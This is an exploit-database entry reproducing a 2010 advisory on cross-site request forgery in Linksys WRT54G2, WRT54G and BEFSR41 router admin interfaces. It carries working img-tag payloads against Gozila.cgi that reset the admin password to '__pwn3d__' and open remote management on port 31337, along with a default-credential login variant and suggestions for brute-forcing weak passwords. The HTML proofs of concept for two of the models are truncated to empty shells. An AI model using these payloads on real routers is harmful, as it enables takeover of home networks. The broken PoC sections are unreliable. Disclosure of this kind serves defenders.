发布 2010-12-04 漏洞条目

Linksys Routers – Cross-Site Request Forgery

Exploit Source

It seems to be fairly well known that there are multiple unpatched

CSRF vulnerabilities in the administration interfaces for various

Linksys routers. Since the initial reports of these are from a few

years ago, and since some exploits are available, I have written

additional proof of concept exploits for the Linksys routers that I

have access to.

While in most cases the victim must be authenticated with the

application in question to exploit a CSRF vulnerability, since the

factory default passwords for all of the routers in question are known

to be admin, the victim does not necessarily need to be authenticated.

This means that only suggested workaround that I have seen up until

now, do not surf the web wile authenticated in the router's

administration interface, does not solve the problem in certain cases

where the user is still using the default password. This is mitigated

somewhat by the fact that most browsers provide at least some degree

of protection from these types of attacks, described in additional

detail below.

In each case, the proof of concept will enable remote administration

of the router on port 31337, while changing the password to __pwn3d__.

WRT54G2 PoC (tested with hardware version 1.5 and firmware version 1.50):

<html>

<head>

</head>

</form>

</body>

</html>

The form's action can be changed in the following way to attempt to

As I mentioned before, success of this type of exploit depends on the

victim's browser. This is simply blocked in IE8, while Safari will

give a phishing warning, Firefox warns the user that they are

attempting to log in with the name "a", and Google Chrome simply

allows the request without notifying the user in any way.

WRT54G PoC (tested with hardware version 6 and firmware version 1.02.8):

<html>

<head>

</head>

</form>

</body>

</html>

To attempt a login with the default password, the same type of

modification can be made, as shown here:

BEFSR41 PoC (tested with hardware version 3 and firmware version 1.06.01):

<img

src="http://192.168.1.1/Gozila.cgi?PasswdModify=1&sysPasswd=__pwn3d__&sysPasswdConfirm=__pwn3d__&Remote_Upgrade=1&Remote_Management=1&RemotePort=31337&UPnP_Work=0";

alt="Nothing to see here." />

And once again, a modification can be made to attempt to log in with

the default password, as shown here:

<img src="http://a:admin () 192 168 1

1/Gozila.cgi?PasswdModify=1&sysPasswd=__pwn3d__&sysPasswdConfirm=__pwn3d__&Remote_Upgrade=1&Remote_Management=1&RemotePort=31337&UPnP_Work=0"

alt="Nothing to see here." />

It is worth mentioning that even if a user has changed the router's

password, but is using a weak password, they may still be vulnerable

to this type of attack. An attacker could simply try many weak

passwords in a dictionary-style attack. They could also use javascript

to attempt to brute force the password, provided that they were able

to get the victim to stay on a page for a reasonably long time.

-Martin Barbella

作者: Martin Barbella
日期: 2010-12-04
类别: webapps
平台: hardware

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection